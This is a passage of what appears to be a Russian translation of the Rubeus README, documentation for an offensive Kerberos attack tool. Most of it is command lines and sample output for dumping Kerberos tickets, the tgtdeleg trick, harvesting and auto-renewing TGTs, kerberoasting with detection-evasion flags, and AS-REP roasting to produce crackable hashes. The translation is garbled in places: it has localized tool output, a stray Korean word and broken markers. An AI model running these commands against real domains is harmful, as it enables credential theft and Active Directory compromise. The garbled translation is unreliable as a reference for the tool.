| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Действие: Дамп данных билетов Kerberos (текущий пользователь)
[*] Текущий LUID : 0x4420e
[*] Получено 3 билета
ServiceName : krbtgt/TESTLAB.LOCAL
TargetName : krbtgt/TESTLAB.LOCAL
ClientName : harmj0y
DomainName : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType : rc4_hmac
Base64SessionKey : AAAAAAAAAAAAAAAAAAAAAA==
KeyExpirationTime : 31.12.1600 16:00:00
TicketFlags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
StartTime : 11.02.2019 15:19:15
EndTime : 11.02.2019 20:19:13
RenewUntil : 18.02.2019 15:19:13
TimeSkew : 0
EncodedTicketSize : 1306
Base64EncodedTicket :
doIFFjCCBRKgAwIBBaEDAgEWoo...(обрезано)...
...(обрезано)...
[*] Перечислено 3 билета
[*] Извлечено 3 билета
С повышенными привилегиями — извлечение билетов из конкретного сеанса:
C:\Rubeus>Rubeus.exe dump /luid:0x47869cc
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Дамп данных билетов Kerberos (все пользователи)
[*] Целевой LUID: 0x47869cc
UserName : harmj0y
Domain : TESTLAB
LogonId : 0x47869cc
UserSID : S-1-5-21-883232822-274137685-4173207997-1111
AuthenticationPackage : Negotiate
LogonType : Интерактивный
LogonTime : 11.02.2019 23:05:31
LogonServer : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : harmj0y@testlab.local
[*] Перечислено 3 билета:
ServiceName : krbtgt/TESTLAB.LOCAL
TargetName : krbtgt/TESTLAB.LOCAL
ClientName : harmj0y
DomainName : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType : rc4_hmac
Base64SessionKey : u9DOCzuGKAZB6h/E/9XcFg==
KeyExpirationTime : 31.12.1600 16:00:00
TicketFlags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
StartTime : 11.02.2019 15:21:53
EndTime : 11.02.2019 20:19:13
RenewUntil : 18.02.2019 15:19:13
TimeSkew : 0
EncodedTicketSize : 1306
Base64EncodedTicket :
doIFFjCCBRKgAwIBBaEDAgEWoo...(обрезано)...
ServiceName : krbtgt/TESTLAB.LOCAL
TargetName : krbtgt/TESTLAB.LOCAL
ClientName : harmj0y
DomainName : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType : aes256_cts_hmac_sha1
Base64SessionKey : tKcszT8rdYyxBxBHlkpmJ/SEsfON8mBMs4ZN/29Xv8A=
KeyExpirationTime : 31.12.1600 16:00:00
TicketFlags : name_canonicalize, pre_authent, initial, renewable, forwardable
StartTime : 11.02.2019 15:19:13
EndTime : 11.02.2019 20:19:13
RenewUntil : 18.02.2019 15:19:13
TimeSkew : 0
EncodedTicketSize : 1338
Base64EncodedTicket :
doIFNjCCBTKgAwIBBaEDAgEWoo...(обрезано)...
...(обрезано)...
[*] Перечислено 3 билета
[*] Извлечено 3 билета
С повышенными привилегиями — извлечение всех TGT в системе:
C:\Rubeus>Rubeus.exe dump /service:krbtgt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Дамп данных билетов Kerberos (все пользователи)
[*] Целевая служба : krbtgt
UserName : harmj0y
Domain : TESTLAB
LogonId : 0x47869cc
UserSID : S-1-5-21-883232822-274137685-4173207997-1111
AuthenticationPackage : Negotiate
LogonType : Интерактивный
LogonTime : 11.02.2019 23:05:31
СерверВхода : PRIMARY DNSДоменСервераВхода : TESTLAB.LOCAL ИмяПользователяДляВхода : harmj0y@testlab.local
[*] Перечислено 3 билета:
ИмяСлужбы : krbtgt/TESTLAB.LOCAL
ИмяЦели : krbtgt/TESTLAB.LOCAL
ИмяКлиента : harmj0y
ИмяДомена : TESTLAB.LOCAL
ИмяЦелевогоДомена : TESTLAB.LOCAL
АльтИмяЦелевогоДомена : TESTLAB.LOCAL
ТипКлючаСессии : rc4_hmac
Base64КлючСессии : y4LL+W3KZoOjnwsiwf150g==
ВремяИстеченияКлюча : 12/31/1600 4:00:00 PM
ФлагиБилета : name_canonicalize, pre_authent, renewable, forwarded, forwardable
ВремяНачала : 2/11/2019 3:23:50 PM
ВремяОкончания : 2/11/2019 8:19:13 PM
ПродлениеДо : 2/18/2019 3:19:13 PM
РасхождениеВремени : 0
РазмерЗакодированногоБилета : 1306
Base64ЗакодированныйБилет:
doIFFjCCBRKgAwIBBaEDAgEWoo...(snip)...
...(snip)...
ИмяПользователя : WINDOWS10$
Домен : TESTLAB
ИдентификаторВхода : 0x3e4
SIDПользователя : S-1-5-20
ПакетАутентификации : Negotiate
ТипВхода : Service
ВремяВхода : 2/7/2019 4:51:20 PM
СерверВхода :
DNSДоменСервераВхода : testlab.local
ИмяПользователяДляВхода : WINDOWS10$@testlab.local
[*] Перечислено 4 билета:
ИмяСлужбы : krbtgt/TESTLAB.LOCAL
ИмяЦели : krbtgt/TESTLAB.LOCAL
ИмяКлиента : WINDOWS10$
ИмяДомена : TESTLAB.LOCAL
ИмяЦелевогоДомена : TESTLAB.LOCAL
АльтИмяЦелевогоДомена : TESTLAB.LOCAL
ТипКлючаСессии : rc4_hmac
Base64КлючСессии : 0NgsSyZ/XOCTi9wLR1z9Kg==
ВремяИстеченияКлюча : 12/31/1600 4:00:00 PM
ФлагиБилета : name_canonicalize, pre_authent, renewable, forwarded, forwardable
ВремяНачала : 2/11/2019 3:23:50 PM
ВремяОкончания : 2/11/2019 7:23:48 PM
ПродлениеДо : 2/18/2019 2:23:48 PM
РасхождениеВремени : 0
РазмерЗакодированногоБилета : 1304
Base64ЗакодированныйБилет:
doIFFDCCBRCgAwIBBaEDAgEWoo...(snip)...
...(snip)...
[*] Всего перечислено 20 билетов
[*] Извлечено 9 билетов
tgtdeleg использует трюк @gentilkiwi из Kekeo (tgt::deleg), который злоупотребляет Kerberos GSS-API для получения пригодного к использованию TGT для текущего пользователя без необходимости повышения привилегий на хосте. AcquireCredentialsHandle() используется для получения дескриптора текущих Kerberos-учетных данных безопасности пользователя, а InitializeSecurityContext() с флагом ISC_REQ_DELEGATE и целевым SPN HOST/DC.domain.com подготавливает поддельный делегирующий контекст для отправки на контроллер домена (DC). В результате в выводе GSS-API появляется AP-REQ, содержащий KRB_CRED в контрольной сумме аутентификатора. Сеансовый ключ билета службы извлекается из локального кеша Kerberos и используется для расшифровки KRB_CRED в аутентификаторе, что приводит к получению пригодного к использованию TGT в формате .kirbi.
Если автоматическое определение цели/домена не удается, можно указать известный SPN службы, настроенной на бесограниченное делегирование, с помощью параметра /target:SPN.
C:\Rubeus>Rubeus.exe tgtdeleg
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Запрос поддельного делегирующего TGT (текущий пользователь)
[*] Не указан целевой SPN, попытка построить 'HOST/dc.domain.com'
[*] Инициализация Kerberos GSS-API с поддельным делегированием для цели 'HOST/PRIMARY.testlab.local'
[+] Успешная инициализация Kerberos GSS-API!
[+] Успешный запрос делегирования! Билет делегирования AP-REQ теперь находится в выводе GSS-API.
[*] Найден билет делегирования AP-REQ в выводе GSS-API.
[*] Тип шифрования аутентификатора: aes256_cts_hmac_sha1
[*] Извлечен сеансовый ключ билета службы из кеша билетов: YnEFxPfqw3LdfNvLtdFfzaFf7zG3hG+HNjesy+6R+ys=
[+] Успешно расшифрован аутентификатор
[*] base64(ticket.kirbi):
doIFNjCCBTKgAwIBBaEDAgEWoo...(snip)...
Действие monitor будет периодически извлекать все TGT каждые /monitorinterval:X секунд (по умолчанию 60) и отображать любые новые перехваченные TGT. Можно указать /targetuser:USER, чтобы вернуть данные билетов только для указанного пользователя. Эта функция особенно полезна на серверах с включенным бесограниченным делегированием ;)
Когда указанный /targetuser:USER (или, если не указан, любой пользователь) создает новое событие входа 4624, извлекаются все данные TGT KRB-CRED и выводятся.
Флаг /nowrap предотвращает перенос вывода base64-закодированного билета по строкам.
Если вы хотите, чтобы monitor работал в течение определенного времени, используйте /runfor:SECONDS.
Кроме того, если вы хотите сохранить вывод в реестр, передайте флаг /registry и укажите путь под HKLM для создания (например, /registry:SOFTWARE\MONITOR). Затем вы можете удалить эту запись после завершения работы Rubeus командой Get-Item HKLM:\SOFTWARE\MONITOR\ | Remove-Item -Recurse -Force.
c:\Rubeus>Rubeus.exe monitor /targetuser:DC$ /interval:10
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Действие: Мониторинг TGT
[*] Целевой пользователь: DC$
[*] Мониторинг каждые 10 секунд на наличие новых TGT
[*] 12/21/2019 11:10:16 PM UTC - Найден новый TGT:
Пользователь : DC$@THESHIRE.LOCAL
ВремяНачала : 12/21/2019 2:44:31 PM
ВремяОкончания : 12/21/2019 3:44:31 PM
ПродлениеДо : 12/28/2019 2:13:06 PM
Флаги : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64ЗакодированныйБилет:
doIFFDCCBRCgAwIBBaEDAgEWoo...(snip)...
[*] Размер кеша билетов: 1
Обратите внимание, что это действие необходимо запускать из контекста с повышенными привилегиями!
Действие harvest делает еще один шаг за monitor. Оно периодически извлекает все TGT каждые /monitorinterval:X секунд (по умолчанию 60), извлекает любые новые файлы TGT KRB-CRED и ведет кеш извлеченных TGT. На каждом интервале TGT, которые истекут до следующего интервала, автоматически продлеваются (в пределах своего лимита продления). Каждые /displayinterval:X секунд (по умолчанию 1200) текущий кеш «пригодных»/действительных TGT KRB-CRED .kirbis выводится в виде base64-блобов.
Это позволяет вам собирать пригодные к использованию TGT с системы без открытия дескриптора для чтения в LSASS, хотя для извлечения билетов требуются повышенные права.
Флаг /nowrap предотвращает перенос вывода base64-закодированного билета по строкам.
Если вы хотите, чтобы harvest работал в течение определенного времени, используйте /runfor:SECONDS.
Кроме того, если вы хотите сохранить вывод в реестр, передайте флаг /registry и укажите путь под HKLM для создания (например, /registry:SOFTWARE\MONITOR). Затем вы можете удалить эту запись после завершения работы Rubeus командой Get-Item HKLM:\SOFTWARE\MONITOR\ | Remove-Item -Recurse -Force.
c:\Rubeus>Rubeus.exe harvest /interval:30
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v0.0.1a
[*] Действие: Сбор TGT (с авто-продлением)
[*] Мониторинг каждые 30 минут на наличие событий входа 4624
...(snip)...
[*] Продление TGT для dfm.a@TESTLAB.LOCAL
[*] Подключение к 192.168.52.100:88
[*] Отправлено 1520 байт
[*] Получено 1549 байт
[*] 9/17/2018 6:43:02 AM - Текущие пригодные TGT:
Пользователь : dfm.a@TESTLAB.LOCAL
ВремяНачала : 9/17/2018 6:43:02 AM
ВремяОкончания : 9/17/2018 11:43:02 AM
ПродлениеДо : 9/24/2018 2:07:48 AM
Флаги : name_canonicalize, renewable, forwarded, forwardable
Base64ЗакодированныйБилет:
doIFujCCBbagAw...(snip)...
Обратите внимание, что это действие необходимо запускать из контекста с повышенными привилегиями!
Разбор команд roasting:
| Команда | Описание |
|---|---|
| kerberoast | Выполнение Kerberoasting против всех (или указанных) пользователей |
| asreproast | Выполнить AS-REP ростинг для всех (или указанных) пользователей |
Действие kerberoast заменяет функциональность проекта SharpRoast. Как и SharpRoast, это действие использует метод KerberosRequestorSecurityToken.GetRequest Method(), который был добавлен в PowerView пользователем @machosec, для запроса соответствующего сервисного тикета (для поведения по умолчанию, см. таблицу opsec для подробностей). В отличие от SharpRoast, это действие теперь выполняет корректный разбор структур результата в формате ASN.1.
Без других аргументов выполняется Kerberoasting для всех учетных записей пользователей с настроенными SPN в текущем домене, запрашивая их максимальный поддерживаемый тип шифрования (см. таблицу opsec). Аргумент /spn:X выполняет ростинг только для указанного SPN, аргумент /user:X — только для указанного пользователя, а аргумент /ou:X — только для пользователей в указанном OU. Аргументы /domain и /dc являются необязательными и используют системные значения по умолчанию, как и другие действия.
Флаг /stats выведет статистику о найденных пользователях, пригодных для Kerberoasting, включая разбивку по поддерживаемым типам шифрования и годам последней смены паролей пользователей. Этот флаг может использоваться в сочетании с другими параметрами целевого выбора.
Аргумент /outfile:FILE выводит полученные хеши в указанный файл, по одному на строку.
Если указан флаг /simple, полученные хеши будут выведены в консоль, по одному на строку.
Если указан флаг /nowrap, результаты Kerberoasting не будут переноситься по строкам.
Если предоставлен TGT /ticket:X (в кодировке base64 файла .kirbi или путь к файлу .kirbi на диске), этот TGT используется для запроса сервисных тикетов во время ростинга. Если /ticket:X используется с /spn:Y или /spns:Y (/spns: может быть файлом, содержащим каждый SPN на новой строке, или списком через запятую), то LDAP-поиск пользователей не выполняется, поэтому это можно сделать с не входящей в домен системы в сочетании с /dc:Z.
Если предоставлен флаг /tgtdeleg, используется трюк tgtdeleg для получения пригодного для использования TGT текущего пользователя, который затем используется для запросов ростинга. Если этот флаг используется, для учетных записей с включенным AES в msDS-SupportedEncryptionTypes запрашиваются RC4 тикеты.
Если предоставлен флаг /aes, перечисляются учетные записи с включенным AES шифрованием в msDS-SupportedEncryptionTypes и запрашиваются AES сервисные тикеты.
Если предоставлен аргумент /ldapfilter:X, указанный LDAP фильтр будет добавлен к финальному LDAP запросу для поиска пользователей, пригодных для Kerberoasting.
Если указан флаг /rc4opsec, используется трюк tgtdeleg, перечисляются и выполняется ростинг учетных записей без включенного AES.
Если вы хотите использовать альтернативные учетные данные домена для Kerberoasting (и поиска пользователей для Kerberoasting), они могут быть указаны с помощью /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD.
Если предоставлен аргумент /pwdsetafter:MM-dd-yyyy, будут перечислены и подвергнуты ростингу только учетные записи, у которых пароль был последний раз изменен после MM-dd-yyyy.
Если предоставлен аргумент /pwdsetbefore:MM-dd-yyyy, будут перечислены и подвергнуты ростингу только учетные записи, у которых пароль был последний раз изменен до MM-dd-yyyy.
Если указан аргумент /resultlimit:NUMBER, количество перечисляемых и подвергаемых ростингу учетных записей ограничивается числом NUMBER.
Если указан аргумент /delay:MILLISECONDS, между запросами TGS будет задержка в указанное количество миллисекунд. Флаг /jitter:1-100 может использоваться для добавления процента джиттера.
Если используется флаг /enterprise, предполагается, что SPN является enterprise-принципалом (т.е. user@domain.com). Этот флаг работает только при kerberoasting с TGT.
Если используется флаг /autoenterprise, в случае сбоя при ростинге SPN (из-за недопустимого или дублирующегося SPN) Rubeus автоматически повторит попытку, используя enterprise-принципал. Это полезно только тогда, когда /spn или /spns не предоставлены, поскольку Rubeus необходимо знать samaccountname целевой учетной записи, который он получает при запросе LDAP для получения информации об учетной записи.
Если используется флаг /ldaps, любые LDAP запросы будут выполняться через TLS (порт 636).
Если используется аргумент /nopreauth:USER, требуется либо аргумент /spn:Y, либо /spns:Y. Аргумент /nopreauth:USER попытается отправить AS-REQ с сервисом, указанным в /spn:Y или /spns:Y, для запроса сервисных тикетов.
Вот таблица, сравнивающая поведение различных флагов с точки зрения opsec:
| Аргументы | Описание |
|---|---|
| нет | Использовать метод ростинга KerberosRequestorSecurityToken, выполнять с максимальным поддерживаемым шифрованием |
| /tgtdeleg | Использовать трюк tgtdeleg для выполнения TGS-REQ запросов для учетных записей с включенным RC4, выполнять ростинг всех учетных записей с указанным RC4 |
| /ticket:X | Использовать предоставленный TGT блоб/файл для TGS-REQ запросов, выполнять ростинг всех учетных записей с указанным RC4 |
| /rc4opsec | Использовать трюк tgtdeleg, перечислять учетные записи без включенного AES, выполнять ростинг с указанным RC4 |
| /aes | Перечислять учетные записи с включенным AES, использовать метод ростинга KerberosRequestorSecurityToken, выполнять с максимальным поддерживаемым шифрованием |
| /aes /tgtdeleg | Использовать трюк tgtdeleg, перечислять учетные записи с включенным AES, выполнять ростинг с указанным AES |
| /pwdsetafter:X | Использовать указанную дату и перечислять только учетные записи, у которых пароль был последний раз изменен после этой даты |
| /pwdsetbefore:X | Использовать указанную дату и перечислять только учетные записи, у которых пароль был последний раз изменен до этой даты |
| /resultlimit:X | Использовать указанное число для ограничения количества учетных записей, которые будут подвергнуты ростингу |
| /nopreauth:USER | Будет отправлять AS-REQ вместо TGS-REQ, что приводит к событиям 4768 вместо часто отслеживаемых для обнаружения kerberoasting событий 4769 |
Kerberoasting всех пользователей в текущем домене с использованием метода по умолчанию KerberosRequestorSecurityToken.GetRequest:
C:\Rubeus>Rubeus.exe kerberoast
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Действие: Kerberoasting
[*] SamAccountName : harmj0y
[*] DistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
[*] ServicePrincipalName : asdf/asdfasdf
[*] Хеш : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$AE5F019D4CDED6CD74830CC...(обрезано)...
[*] SamAccountName : sqlservice
[*] DistinguishedName : CN=SQL,CN=Users,DC=testlab,DC=local
[*] ServicePrincipalName : MSSQLSvc/SQL.testlab.local
[*] Хеш : $krb5tgs$23$*$testlab.local$MSSQLSvc/SQL.testlab.local*$E2B3869290...(обрезано)...
...(обрезано)...
Kerberoasting всех пользователей в указанном OU, сохранение хешей в выходной файл:
C:\Rubeus>Rubeus.exe kerberoast /ou:OU=TestingOU,DC=testlab,DC=local /outfile:C:\Temp\hashes.txt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Действие: Kerberoasting
[*] Целевой OU : OU=TestingOU,DC=testlab,DC=local
[*] SamAccountName : testuser2
[*] DistinguishedName : CN=testuser2,OU=TestingOU,DC=testlab,DC=local
[*] ServicePrincipalName : service/host
[*] Хеш записан в C:\Temp\hashes.txt
[*] Полученные хеши записаны в : C:\Temp\hashes.txt
Выполнение Kerberoasting с использованием трюка tgtdeleg для получения пригодного TGT, запрос тикетов только для учетных записей, у которых пароль был последний раз установлен между 31-01-2005 и 29-03-2010, возврат не более 3 сервисных тикетов:
C:\Rubeus>Rubeus.exe kerberoast /tgtdeleg /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:3
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Действие: Kerberoasting
[*] Используется 'tgtdeleg' для запроса TGT для текущего пользователя
[*] RC4_HMAC будет запрошен для учетных записей с AES, для всех остальных будут запрошены все типы шифрования
[*] Поиск в текущем домене пользователей, пригодных для Kerberoasting
[*] Поиск учетных записей с последней установкой пароля с 31-01-2005 по 29-03-2010
[*] Будет возвращено до 3 результатов
[*] Всего пользователей, пригодных для Kerberoasting : 3
[*] SamAccountName : harmj0y
[*] DistinguishedName : CN=harmj0y,OU=TestOU,DC=theshire,DC=local
[*] ServicePrincipalName : testspn/server
[] Последняя установка пароля : 31.05.2008 00:00:02 [] Поддерживаемые типы шифрования : AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 [] Хеш : $krb5tgs$23$harmj0y$theshire.local$testspn/server*$F6EEFE5026CF8F02E3DC...(обрезано)...
[] Имя учётной записи : constraineduser [] различающееся имя : CN=constraineduser,CN=Users,DC=theshire,DC=local [] ServicePrincipalName : blah/blah123 [] Последняя установка пароля : 05.09.2009 19:48:50 [] Поддерживаемые типы шифрования : RC4_HMAC [] Хеш : $krb5tgs$23$constraineduser$theshire.local$blah/blah123$6F0992C377AA12...(обрезано)...
[] Имя учётной записи : newuser [] различающееся имя : CN=newuser,CN=Users,DC=theshire,DC=local [] ServicePrincipalName : blah/blah123456 [] Последняя установка пароля : 12.09.2008 20:05:16 [] Поддерживаемые типы шифрования : RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 [] Хеш : $krb5tgs$23$newuser$theshire.local$blah/blah123456$C4561559C2A7DF07712...(обрезано)...
Вывести статистику по найденным учётным записям, подверженным Kerberoast, без фактической отправки запросов на билеты:
C:\Rubeus>Rubeus.exe kerberoast /stats
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Действие: Kerberoasting (обжарка)
[*] Вывод статистики по целевым пользователям, запросы на билеты не выполняются.
[*] Поиск в текущем домене пользователей, подверженных Kerberoast
[*] Всего учётных записей, подверженных Kerberoast: 4
----------------------------------------------------------------------
| Поддерживаемый тип шифрования | Кол-во |
----------------------------------------------------------------------
| RC4_HMAC_DEFAULT | 1 |
| RC4_HMAC | 1 |
| AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 | 1 |
| RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 | 1 |
----------------------------------------------------------------------
-------------------------------------------
| Год последней установки пароля | Кол-во |
-------------------------------------------
| 2019 | 4 |
-------------------------------------------
Kerberoasting конкретного пользователя с упрощённым выводом хешей:
C:\Rubeus>Rubeus.exe kerberoast /user:harmj0y /simple
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Действие: Kerberoasting (обжарка)
[*] УВЕДОМЛЕНИЕ: Для учётных записей с поддержкой AES будут возвращены хеши AES.
[*] Используйте /ticket:X или /tgtdeleg, чтобы принудительно использовать RC4_HMAC для этих учётных записей.
[*] Целевой пользователь : harmj0y
[*] Поиск в текущем домене пользователей, подверженных Kerberoast
[*] Всего учётных записей, подверженных Kerberoast: 1
$krb5tgs$18$*harmj0y$theshire.local$testspn/server*$F63783C58AA153F24DFCC796A120C55C$06C6929374A2D3...(обрезано)...
Kerberoasting всех пользователей во внешнем доверяющем домене, без переноса строк в результатах:
C:\Rubeus>Rubeus.exe kerberoast /domain:dev.testlab.local /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Действие: Kerberoasting (обжарка)
[*] Целевой домен : dev.testlab.local
[*] Имя учётной записи : jason
[*] различающееся имя : CN=jason,CN=Users,DC=dev,DC=testlab,DC=local
[*] ServicePrincipalName : test/test
[*] Хеш : $krb5tgs$23$*$dev.testlab.local$test/test@dev.testlab.local*$969339A82...(обрезано)...
Kerberoasting с использованием существующего TGT:
C:\Rubeus>Rubeus.exe kerberoast /ticket:doIFujCCBbagAwIBBaEDAgEWoo...(обрезано)... /spn:"asdf/asdfasdf" /dc:primary.testlab.local
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.5
[*] Действие: Kerberoasting (обжарка)
[*] Используется TGT /ticket для запроса служебных билетов
[*] Целевой SPN : asdf/asdfasdf
[*] Хеш : $krb5tgs$23$*USER$DOMAIN$asdf/asdfasdf*$4EFF99FDED690AB4616EB...(обрезано)...
"Опсек" Kerberoasting с использованием трюка tgtdeleg, с фильтрацией учётных записей с поддержкой AES:
C:\Rubeus>Rubeus.exe kerberoast /rc4opsec
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.6
[*] Действие: Kerberoasting (обжарка)
[*] Используется 'tgtdeleg' для запроса TGT для текущего пользователя
[*] Поиск в текущем домене пользователей, подверженных Kerberoast
[*] Поиск учётных записей, поддерживающих только RC4_HMAC, без AES
[*] Найдено 6 пользователей для Kerberoast!
[*] Имя учётной записи : harmj0y
[*] различающееся имя : CN=harmj0y,CN=Users,DC=testlab,DC=local
[*] ServicePrincipalName : asdf/asdfasdf
[*] Поддерживаемые типы шифрования : RC4_HMAC_DEFAULT
[*] Хеш : $krb5tgs$23$*harmj0y$testlab.local$asdf/asdfasdf*$6B4AD4B61D37D54...(обрезано)...
Действие asreproast заменяет проект ASREPRoast, который выполнял аналогичные действия с использованием (более объёмной) библиотеки BouncyCastle. Если у доменного пользователя не включена предварительная аутентификация Kerberos, для этого пользователя может быть успешно запрошен AS-REP, и компонент структуры может быть взломан офлайн, аналогично kerberoasting. Для получения более технической информации смотрите этот пост.
Как и с командой kerberoast, если не указаны другие аргументы, обрабатываются все учётные записи пользователей, не требующие предварительной аутентификации Kerberos. Аргумент /user:X обрабатывает только указанного пользователя, а аргумент /ou:X обрабатывает только пользователей в указанном OU. Аргументы /domain и /dc являются необязательными и используют системные настройки по умолчанию, как и другие действия.
Аргумент /outfile:FILE выводит обработанные хеши в указанный файл, по одному на строку.
Кроме того, если вы хотите использовать другие учетные данные домена для kerberoasting, это можно указать с помощью /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD.
Выходной формат /format:X по умолчанию соответствует John the Ripper (Jumbo version). /format:hashcat также доступен для нового режима hashcat 18200.
Если используется флаг /ldaps, все LDAP-запросы будут отправляться через TLS (порт 636).
Обжарка AS-REP для всех пользователей в текущем домене:
C:\Rubeus>Rubeus.exe asreproast
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Действие: Обжарка AS-REP
[*] Целевой домен : testlab.local
[*] Имя учётной записи : dfm.a
[*] различающееся имя : CN=dfm.a,CN=Users,DC=testlab,DC=local
[*] Используется контроллер домена: testlab.local (192.168.52.100)
[*] Построение AS-REQ (без предварительной аутентификации) для: 'testlab.local\dfm.a'
[*] Подключение к 192.168.52.100:88
[*] Отправлено 163 байт
[*] Получено 1537 байт
[+] AS-REQ без предварительной аутентификации выполнен успешно!
[*] Хеш AS-REP:
$krb5asrep$dfm.a@testlab.local:D4A4BC281B200EE35CBF4A4537792D07$D655...(обрезано)...
[*] Имя учётной записи : TestOU3user
[*] различающееся имя : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Используется контроллер домена: testlab.local (192.168.52.100)
[*] Построение AS-REQ (без предварительной аутентификации) для: 'testlab.local\TestOU3user'
[*] Подключение к 192.168.52.100:88
[*] Отправлено 169 байт
[*] Получено 1437 байт
[+] AS-REQ без предварительной аутентификации выполнен успешно!
[*] Хеш AS-REP:
$krb5asrep$TestOU3user@testlab.local:DD6DF16B7E65223679CD703837C94FB...(обрезано)..
[*] Имя учётной записи : harmj0y2
[*] различающееся имя : CN=harmj0y2,CN=Users,DC=testlab,DC=local
[*] Используется контроллер домена: testlab.local (192.168.52.100)
[*] Построение AS-REQ (без предварительной аутентификации) для: 'testlab.local\harmj0y2'
[*] Подключение к 192.168.52.100:88
[*] Отправлено 166 байт
[] Получено 1407 байт [+] AS-REQ без предварительной аутентификации выполнен успешно! [] Хеш AS-REP:
$krb5asrep$harmj0y2@testlab.local:7D2E379A076BB804AF275ED51B86BF85$8...(обрыв)...
Выполнение обжарки AS-REP для всех пользователей в 특정 OU, сохранение хешей в выходной файл в формате Hashcat:
C:\Rubeus>Rubeus.exe asreproast /ou:OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local /format:hashcat /outfile:C:\Temp\hashes.txt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Действие: Обжарка AS-REP
[*] Целевая OU : OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Целевой домен : testlab.local
[*] SamAccountName : TestOU3user
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Используется контроллер домена: testlab.local (192.168.52.100)
[*] Построение AS-REQ (без предвар. аут.) для: 'testlab.local\TestOU3user'
[*] Подключение к 192.168.52.100:88
[*] Отправлено 169 байт
[*] Получено 1437 байт
[+] AS-REQ без предварительной аутентификации выполнен успешно!
[*] Хеш записан в C:\Temp\hashes.txt
[*] Обжаренные хеши записаны в : C:\Temp\hashes.txt
Выполнение обжарки AS-REP для конкретного пользователя:
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user
______ _
(_____ \ | |
